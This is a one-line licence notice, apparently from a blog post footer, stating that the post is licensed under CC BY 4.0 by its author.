This post is licensed under CC BY 4.0 by the author.